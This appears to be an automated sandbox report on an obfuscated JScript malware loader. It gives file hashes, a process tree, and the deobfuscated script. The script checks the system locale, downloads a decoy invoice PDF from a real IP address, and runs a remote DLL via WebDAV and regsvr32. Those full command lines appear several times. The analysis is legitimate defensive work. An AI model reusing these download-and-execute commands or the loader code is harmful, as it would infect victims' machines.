Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17226), with CRLF line terminators
Entropy (8bit):	4.9111754015067435
TrID:
File name:	23858205001607627322.js
File size:	20'582 bytes
MD5:	d3f7493df9ce1be6fe907e51c578d763
SHA1:	241ce30410c11787fce90e527ce7a36b80d142ae
SHA256:	235ee41dec919521ff9c778136b665bc6617de08279b3496ab522f60e307088c
SHA512:	24edabfc8519888445f121ba01c628a8f3db1ac77bfd75e949f599cc3cb3fafd690187d7ed728575740acf9b1842334b821df5f5f86a3f0d26e072b610fcd68a
SSDEEP:	384:QvmfztzOFmSHIaXvEwA77s8dG/uxk5Ywy9RO4VCzMnVxnIwrHAzrSNJunSxzHQWU:jztz+HIaXvaHdG/uxiYwy9RO4VCzMnVY
TLSH:	DA92225DC5445AA30ED0117018DB88E9A269624CCFF814A6C717ACCB0A3BFF5C7E96BD
File Content Preview:	function rdoxr(){lcfsakax=[1031,3079,5127,4103,2055,3072];var ngygev=this[yumxe+coghwx+dkhhm+zjacnf+wldfg+uslty+izpjnr+favpt](this[xxepxqg+epdmtf+ixeiwvtw+dkhhm+pisqncuid+yumxe+favpt][pxdsys+dkhhm+wldfg+coghwx+favpt+wldfg+ugwcikphl+bhfyn+muaflpmh+wldfg+ix

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	22:54:07
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23858205001607627322.js"
Imagebase:	0x7ff63b8e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:54:08
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Imagebase:	0x7ff7f3e90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:54:08
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:54:08
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:54:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	22:54:17
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f3e90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:54:17
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6403f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:54:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	22:54:18
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:54:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1736,i,17611927009858433007,8667567242889231393,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rdoxr() {	rdoxr() ➔ undefined
1	lcfsakax = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ngygev = this[yumxe + coghwx + dkhhm + zjacnf + wldfg + uslty + izpjnr + favpt] ( this[xxepxqg + epdmtf + ixeiwvtw + dkhhm + pisqncuid + yumxe + favpt][pxdsys + dkhhm + wldfg + coghwx + favpt + wldfg + ugwcikphl + bhfyn + muaflpmh + wldfg + ixeiwvtw + favpt] ( xxepxqg + epdmtf + ixeiwvtw + dkhhm + pisqncuid + yumxe + favpt + curljfhm + epdmtf + xospj + wldfg + mnaphvn + mnaphvn ) [eluzmbp + wldfg + vebzeivk + eluzmbp + wldfg + coghwx + zmksr] ( wcmmgjj + munekagu + rlwkzfe + bncapi + eoyijrjoq + pxdsys + smasq + eluzmbp + eluzmbp + rlwkzfe + kvlximd + qtkkpju + eoyijrjoq + smasq + epdmtf + rlwkzfe + eluzmbp + penlphw + pxdsys + jvgtrtsah + izpjnr + favpt + dkhhm + jvgtrtsah + mnaphvn + biswaodnj + ydnkmxlr + coghwx + izpjnr + wldfg + mnaphvn + penlphw + uslty + izpjnr + favpt + wldfg + dkhhm + izpjnr + coghwx + favpt + pisqncuid + jvgtrtsah + izpjnr + coghwx + mnaphvn + penlphw + pakvjm + jvgtrtsah + ixeiwvtw + coghwx + mnaphvn + wldfg ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nqyaqqhj = 0 ; nqyaqqhj < lcfsakax[mnaphvn + wldfg + izpjnr + vebzeivk + favpt + xospj] ; ++ nqyaqqhj )
4	{
5	if ( ngygev == lcfsakax[nqyaqqhj] )
6	{
7	ngygev = true;
8	break ;
9	}
10	}
11	if ( ngygev !== true )
12	this[xxepxqg + epdmtf + ixeiwvtw + dkhhm + pisqncuid + yumxe + favpt][wrfqv + uenrec + pisqncuid + favpt] ( );
13	this[xxepxqg + epdmtf + ixeiwvtw + dkhhm + pisqncuid + yumxe + favpt][pxdsys + dkhhm + wldfg + coghwx + favpt + wldfg + ugwcikphl + bhfyn + muaflpmh + wldfg + ixeiwvtw + favpt] ( xxepxqg + epdmtf + ixeiwvtw + dkhhm + pisqncuid + yumxe + favpt + curljfhm + epdmtf + xospj + wldfg + mnaphvn + mnaphvn ) [dkhhm + uenrec + izpjnr] ( ixeiwvtw + dkhwcpevh + zmksr + biswaodnj + tbqidj + ixeiwvtw + biswaodnj + yumxe + jvgtrtsah + qrudaulyz + wldfg + dkhhm + zjacnf + xospj + wldfg + mnaphvn + mnaphvn + curljfhm + wldfg + qhlnnrw + wldfg + biswaodnj + hitvps + pxdsys + jvgtrtsah + dkhwcpevh + dkhwcpevh + coghwx + izpjnr + zmksr + biswaodnj + qvfwbsdob + uslty + izpjnr + ipgxpt + jvgtrtsah + evcowcj + wldfg + hitvps + xxepxqg + wldfg + bhfyn + eluzmbp + wldfg + xxcwjaj + uenrec + wldfg + zjacnf + favpt + biswaodnj + hitvps + ugwcikphl + uenrec + favpt + iiywwuz + pisqncuid + mnaphvn + wldfg + biswaodnj + zkqdrtjld + favpt + wldfg + dkhwcpevh + yumxe + zkqdrtjld + penlphw + pisqncuid + izpjnr + ipgxpt + jvgtrtsah + pisqncuid + ixeiwvtw + wldfg + curljfhm + yumxe + zmksr + mqvrlrmru + biswaodnj + xospj + favpt + favpt + yumxe + hvprtc + tbqidj + tbqidj + xuqqp + algdl + gffjcf + curljfhm + xuqqp + xwtad + gffjcf + curljfhm + xuqqp + curljfhm + coskxeyln + aancyjqcn + iagpz + tbqidj + pisqncuid + izpjnr + ipgxpt + jvgtrtsah + pisqncuid + ixeiwvtw + wldfg + curljfhm + yumxe + xospj + yumxe + qvfwbsdob + esaum + esaum + zjacnf + favpt + coghwx + dkhhm + favpt + biswaodnj + zkqdrtjld + favpt + wldfg + dkhwcpevh + yumxe + zkqdrtjld + penlphw + pisqncuid + izpjnr + ipgxpt + jvgtrtsah + pisqncuid + ixeiwvtw + wldfg + curljfhm + yumxe + zmksr + mqvrlrmru + esaum + esaum + ixeiwvtw + dkhwcpevh + zmksr + biswaodnj + tbqidj + ixeiwvtw + biswaodnj + izpjnr + wldfg + favpt + biswaodnj + uenrec + zjacnf + wldfg + biswaodnj + penlphw + penlphw + xuqqp + algdl + gffjcf + curljfhm + xuqqp + xwtad + gffjcf + curljfhm + xuqqp + curljfhm + coskxeyln + aancyjqcn + iagpz + ltgfgdw + nrhpsjbtf + nrhpsjbtf + nrhpsjbtf + nrhpsjbtf + penlphw + zmksr + coghwx + ipgxpt + qrudaulyz + qrudaulyz + qrudaulyz + dkhhm + jvgtrtsah + jvgtrtsah + favpt + penlphw + esaum + esaum + ixeiwvtw + dkhwcpevh + zmksr + biswaodnj + tbqidj + ixeiwvtw + biswaodnj + dkhhm + wldfg + vebzeivk + zjacnf + ipgxpt + dkhhm + gffjcf + coskxeyln + biswaodnj + tbqidj + zjacnf + biswaodnj + penlphw + penlphw + xuqqp + algdl + gffjcf + curljfhm + xuqqp + xwtad + gffjcf + curljfhm + xuqqp + curljfhm + coskxeyln + aancyjqcn + iagpz + ltgfgdw + nrhpsjbtf + nrhpsjbtf + nrhpsjbtf + nrhpsjbtf + penlphw + zmksr + coghwx + ipgxpt + qrudaulyz + qrudaulyz + qrudaulyz + dkhhm + jvgtrtsah + jvgtrtsah + favpt + penlphw + gffjcf + xuqqp + algdl + ludsym + xwtad + xuqqp + algdl + vkmxfkwok + xwtad + iagpz + coskxeyln + iagpz + nrhpsjbtf + coskxeyln + nrhpsjbtf + curljfhm + zmksr + mnaphvn + mnaphvn, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll",0,false) ➔ 0
14	}
15	ixeiwvtw = "p";
16	ixeiwvtw = "r";
17	ixeiwvtw = "D";
18	ixeiwvtw = "S";
19	ixeiwvtw = "c";
20	gffjcf = "R";
21	gffjcf = "n";
22	gffjcf = "g";
23	gffjcf = "T";
24	gffjcf = "Y";
25	gffjcf = "K";
26	gffjcf = "n";
27	gffjcf = "h";
28	gffjcf = "I";
29	gffjcf = "v";
30	gffjcf = "A";
31	gffjcf = "V";
32	gffjcf = "X";
33	gffjcf = "y";
34	gffjcf = "t";
35	gffjcf = "e";
36	gffjcf = "Q";
37	gffjcf = "b";
38	gffjcf = "i";
39	gffjcf = "N";
40	gffjcf = "g";
41	gffjcf = "h";
42	gffjcf = "D";
43	gffjcf = "w";
44	gffjcf = "e";
45	gffjcf = "G";
46	gffjcf = "F";
47	gffjcf = "u";
48	gffjcf = "W";
49	gffjcf = "y";
50	gffjcf = "N";
51	gffjcf = "R";
52	gffjcf = "3";
53	aancyjqcn = "Q";
54	aancyjqcn = "T";
55	aancyjqcn = "H";
56	aancyjqcn = "F";
57	aancyjqcn = "h";
58	aancyjqcn = "v";
59	aancyjqcn = "M";
60	aancyjqcn = "k";
61	aancyjqcn = "w";
62	aancyjqcn = "G";
63	aancyjqcn = "b";
64	aancyjqcn = "D";
65	aancyjqcn = "l";
66	aancyjqcn = "q";
67	aancyjqcn = "H";
68	aancyjqcn = "v";
69	aancyjqcn = "P";
70	aancyjqcn = "W";
71	aancyjqcn = "y";
72	aancyjqcn = "v";
73	aancyjqcn = "e";
74	aancyjqcn = "B";
75	aancyjqcn = "A";
76	aancyjqcn = "A";
77	aancyjqcn = "X";
78	aancyjqcn = "t";
79	aancyjqcn = "w";
80	aancyjqcn = "S";
81	aancyjqcn = "G";
82	aancyjqcn = "r";
83	aancyjqcn = "W";
84	aancyjqcn = "c";
85	aancyjqcn = "z";
86	aancyjqcn = "B";
87	aancyjqcn = "B";
88	aancyjqcn = "l";
89	aancyjqcn = "0";
90	algdl = "b";
91	algdl = "a";
92	algdl = "i";
93	algdl = "Y";
94	algdl = "d";
95	algdl = "9";
96	wrfqv = "o";
97	wrfqv = "R";
98	wrfqv = "i";
99	wrfqv = "j";
100	wrfqv = "M";
101	wrfqv = "i";
102	wrfqv = "y";
103	wrfqv = "l";
104	wrfqv = "f";
105	wrfqv = "B";
106	wrfqv = "f";
107	wrfqv = "N";
108	wrfqv = "H";
109	wrfqv = "s";
110	wrfqv = "D";
111	wrfqv = "r";
112	wrfqv = "C";
113	wrfqv = "w";
114	wrfqv = "N";
115	wrfqv = "W";
116	wrfqv = "O";
117	wrfqv = "C";
118	wrfqv = "O";
119	wrfqv = "g";
120	wrfqv = "f";
121	wrfqv = "p";
122	wrfqv = "g";
123	wrfqv = "x";
124	wrfqv = "N";
125	wrfqv = "C";
126	wrfqv = "Y";
127	wrfqv = "k";
128	wrfqv = "T";
129	wrfqv = "w";
130	wrfqv = "u";
131	wrfqv = "v";
132	wrfqv = "H";
133	wrfqv = "r";
134	wrfqv = "m";
135	wrfqv = "I";
136	wrfqv = "v";
137	wrfqv = "G";
138	wrfqv = "a";
139	wrfqv = "s";
140	wrfqv = "Q";
141	bncapi = "Q";
142	bncapi = "c";
143	bncapi = "x";
144	bncapi = "o";
145	bncapi = "p";
146	bncapi = "Q";
147	bncapi = "d";
148	bncapi = "Z";
149	bncapi = "Y";
150	bncapi = "M";
151	bncapi = "C";
152	bncapi = "k";
153	bncapi = "n";
154	bncapi = "Y";
155	ydnkmxlr = "e";
156	ydnkmxlr = "h";
157	ydnkmxlr = "b";
158	ydnkmxlr = "u";
159	ydnkmxlr = "G";
160	ydnkmxlr = "H";
161	ydnkmxlr = "R";
162	ydnkmxlr = "P";
163	ydnkmxlr = "m";
164	ydnkmxlr = "n";
165	ydnkmxlr = "q";
166	ydnkmxlr = "U";
167	ydnkmxlr = "S";
168	ydnkmxlr = "Y";
169	ydnkmxlr = "t";
170	ydnkmxlr = "M";
171	ydnkmxlr = "j";
172	ydnkmxlr = "z";
173	ydnkmxlr = "Y";
174	ydnkmxlr = "A";
175	ydnkmxlr = "T";
176	ydnkmxlr = "S";
177	ydnkmxlr = "p";
178	ydnkmxlr = "F";
179	ydnkmxlr = "r";
180	ydnkmxlr = "J";
181	ydnkmxlr = "S";
182	ydnkmxlr = "y";
183	ydnkmxlr = "P";
184	yumxe = "u";
185	yumxe = "g";
186	yumxe = "b";
187	yumxe = "T";
188	yumxe = "T";
189	yumxe = "N";
190	yumxe = "C";
191	yumxe = "C";
192	yumxe = "v";
193	yumxe = "v";
194	yumxe = "G";
195	yumxe = "l";
196	yumxe = "N";
197	yumxe = "E";
198	yumxe = "C";
199	yumxe = "f";
200	yumxe = "n";
201	yumxe = "N";
202	yumxe = "H";
203	yumxe = "J";
204	yumxe = "O";
205	yumxe = "M";
206	yumxe = "U";
207	yumxe = "O";
208	yumxe = "c";
209	yumxe = "P";
210	yumxe = "T";
211	yumxe = "x";
212	yumxe = "w";
213	yumxe = "s";
214	yumxe = "z";
215	yumxe = "X";
216	yumxe = "U";
217	yumxe = "x";
218	yumxe = "K";
219	yumxe = "r";
220	yumxe = "m";
221	yumxe = "r";
222	yumxe = "p";
223	xospj = "u";
224	xospj = "W";
225	xospj = "J";
226	xospj = "U";
227	xospj = "G";
228	xospj = "i";
229	xospj = "U";
230	xospj = "H";
231	xospj = "w";
232	xospj = "b";
233	xospj = "I";
234	xospj = "h";
235	xuqqp = "y";
236	xuqqp = "O";
237	xuqqp = "a";
238	xuqqp = "T";
239	xuqqp = "G";
240	xuqqp = "p";
241	xuqqp = "Y";
242	xuqqp = "O";
243	xuqqp = "O";
244	xuqqp = "r";
245	xuqqp = "p";
246	xuqqp = "k";
247	xuqqp = "X";
248	xuqqp = "u";
249	xuqqp = "z";
250	xuqqp = "i";
251	xuqqp = "T";
252	xuqqp = "j";
253	xuqqp = "1";
254	qtkkpju = "k";
255	qtkkpju = "t";
256	qtkkpju = "z";
257	qtkkpju = "M";
258	qtkkpju = "a";
259	qtkkpju = "x";
260	qtkkpju = "T";
261	qtkkpju = "c";
262	qtkkpju = "T";
263	mqvrlrmru = "O";
264	mqvrlrmru = "z";
265	mqvrlrmru = "x";
266	mqvrlrmru = "G";
267	mqvrlrmru = "G";
268	mqvrlrmru = "D";
269	mqvrlrmru = "u";
270	mqvrlrmru = "L";
271	mqvrlrmru = "i";
272	mqvrlrmru = "k";
273	mqvrlrmru = "d";
274	mqvrlrmru = "x";
275	mqvrlrmru = "M";
276	mqvrlrmru = "t";
277	mqvrlrmru = "f";
278	uenrec = "q";
279	uenrec = "N";
280	uenrec = "t";
281	uenrec = "N";
282	uenrec = "C";
283	uenrec = "C";
284	uenrec = "l";
285	uenrec = "R";
286	uenrec = "z";
287	uenrec = "I";
288	uenrec = "i";
289	uenrec = "n";
290	uenrec = "j";
291	uenrec = "m";
292	uenrec = "U";
293	uenrec = "h";
294	uenrec = "B";
295	uenrec = "w";
296	uenrec = "W";
297	uenrec = "F";
298	uenrec = "v";
299	uenrec = "q";
300	uenrec = "J";
301	uenrec = "t";
302	uenrec = "m";
303	uenrec = "J";
304	uenrec = "O";
305	uenrec = "u";
306	uenrec = "u";
307	uenrec = "G";
308	uenrec = "d";
309	uenrec = "l";
310	uenrec = "u";
311	biswaodnj = "h";
312	biswaodnj = "F";
313	biswaodnj = "F";
314	biswaodnj = "T";
315	biswaodnj = "G";
316	biswaodnj = "r";
317	biswaodnj = "o";
318	biswaodnj = "f";
319	biswaodnj = "j";
320	biswaodnj = "h";
321	biswaodnj = "W";
322	biswaodnj = "g";
323	biswaodnj = "c";
324	biswaodnj = "i";
325	biswaodnj = "S";
326	biswaodnj = "V";
327	biswaodnj = "w";
328	biswaodnj = "v";
329	biswaodnj = "Z";
330	biswaodnj = "C";
331	biswaodnj = "C";
332	biswaodnj = "Q";
333	biswaodnj = "A";
334	biswaodnj = "u";
335	biswaodnj = "u";
336	biswaodnj = "b";
337	biswaodnj = "W";
338	biswaodnj = "L";
339	biswaodnj = "U";
340	biswaodnj = "k";
341	biswaodnj = "e";
342	biswaodnj = "J";
343	biswaodnj = "u";
344	biswaodnj = "g";
345	biswaodnj = " ";
346	dkhhm = "k";
347	dkhhm = "F";
348	dkhhm = "p";
349	dkhhm = "m";
350	dkhhm = "C";
351	dkhhm = "b";
352	dkhhm = "C";
353	dkhhm = "k";
354	dkhhm = "T";
355	dkhhm = "g";
356	dkhhm = "r";
357	hitvps = "M";
358	hitvps = "g";
359	hitvps = "s";
360	hitvps = "o";
361	hitvps = "d";
362	hitvps = "i";
363	hitvps = "E";
364	hitvps = "v";
365	hitvps = "w";
366	hitvps = "G";
367	hitvps = "D";
368	hitvps = "y";
369	hitvps = "i";
370	hitvps = "q";
371	hitvps = "N";
372	hitvps = "A";
373	hitvps = "P";
374	hitvps = "T";
375	hitvps = "W";
376	hitvps = "J";
377	hitvps = "W";
378	hitvps = "U";
379	hitvps = "z";
380	hitvps = "C";
381	hitvps = "O";
382	hitvps = "f";
383	hitvps = "R";
384	hitvps = "D";
385	hitvps = "z";
386	hitvps = "S";
387	hitvps = "R";
388	hitvps = "x";
389	hitvps = "z";
390	hitvps = "-";
391	iagpz = "t";
392	iagpz = "m";
393	iagpz = "P";
394	iagpz = "D";
395	iagpz = "Y";
396	iagpz = "l";
397	iagpz = "W";
398	iagpz = "W";
399	iagpz = "B";
400	iagpz = "r";
401	iagpz = "b";
402	iagpz = "x";
403	iagpz = "Z";
404	iagpz = "G";
405	iagpz = "C";
406	iagpz = "Q";
407	iagpz = "5";
408	eoyijrjoq = "I";
409	eoyijrjoq = "a";
410	eoyijrjoq = "W";
411	eoyijrjoq = "G";
412	eoyijrjoq = "A";
413	eoyijrjoq = "R";
414	eoyijrjoq = "B";
415	eoyijrjoq = "E";
416	eoyijrjoq = "b";
417	eoyijrjoq = "N";
418	eoyijrjoq = "V";
419	eoyijrjoq = "A";
420	eoyijrjoq = "o";
421	eoyijrjoq = "R";
422	eoyijrjoq = "Z";
423	eoyijrjoq = "U";
424	eoyijrjoq = "W";
425	eoyijrjoq = "e";
426	eoyijrjoq = "R";
427	eoyijrjoq = "E";
428	eoyijrjoq = "e";
429	eoyijrjoq = "j";
430	eoyijrjoq = "n";
431	eoyijrjoq = "h";
432	eoyijrjoq = "_";
433	smasq = "G";
434	smasq = "o";
435	smasq = "U";
436	jvgtrtsah = "C";
437	jvgtrtsah = "T";
438	jvgtrtsah = "S";
439	jvgtrtsah = "o";
440	jvgtrtsah = "a";
441	jvgtrtsah = "Y";
442	jvgtrtsah = "l";
443	jvgtrtsah = "i";
444	jvgtrtsah = "Q";
445	jvgtrtsah = "d";
446	jvgtrtsah = "v";
447	jvgtrtsah = "w";
448	jvgtrtsah = "k";
449	jvgtrtsah = "y";
450	jvgtrtsah = "o";
451	qrudaulyz = "q";
452	qrudaulyz = "o";
453	qrudaulyz = "t";
454	qrudaulyz = "w";
455	mnaphvn = "R";
456	mnaphvn = "R";
457	mnaphvn = "e";
458	mnaphvn = "a";
459	mnaphvn = "X";
460	mnaphvn = "D";
461	mnaphvn = "A";
462	mnaphvn = "Y";
463	mnaphvn = "A";
464	mnaphvn = "L";
465	mnaphvn = "Y";
466	mnaphvn = "N";
467	mnaphvn = "V";
468	mnaphvn = "c";
469	mnaphvn = "g";
470	mnaphvn = "N";
471	mnaphvn = "b";
472	mnaphvn = "Q";
473	mnaphvn = "w";
474	mnaphvn = "i";
475	mnaphvn = "a";
476	mnaphvn = "K";
477	mnaphvn = "t";
478	mnaphvn = "G";
479	mnaphvn = "n";
480	mnaphvn = "X";
481	mnaphvn = "u";
482	mnaphvn = "I";
483	mnaphvn = "F";
484	mnaphvn = "l";
485	penlphw = "Z";
486	penlphw = "C";
487	penlphw = "c";
488	penlphw = "b";
489	penlphw = "m";
490	penlphw = "O";
491	penlphw = "c";
492	penlphw = "P";
493	penlphw = "O";
494	penlphw = "c";
495	penlphw = "M";
496	penlphw = "K";
497	penlphw = "w";
498	penlphw = "Z";
499	penlphw = "m";
500	penlphw = "t";
501	penlphw = "e";
502	penlphw = "J";
503	penlphw = "S";
504	penlphw = "u";
505	penlphw = "u";
506	penlphw = "m";
507	penlphw = "o";
508	penlphw = "d";
509	penlphw = "R";
510	penlphw = "D";
511	penlphw = "r";
512	penlphw = "L";
513	penlphw = "s";
514	penlphw = "z";
515	penlphw = "w";
516	penlphw = "r";
517	penlphw = "q";
518	penlphw = "m";
519	penlphw = "O";
520	penlphw = "T";
521	penlphw = "C";
522	penlphw = "W";
523	penlphw = "Y";
524	penlphw = "B";
525	penlphw = "d";
526	penlphw = "v";
527	penlphw = "P";
528	penlphw = "x";
529	penlphw = "\\";
530	nrhpsjbtf = "J";
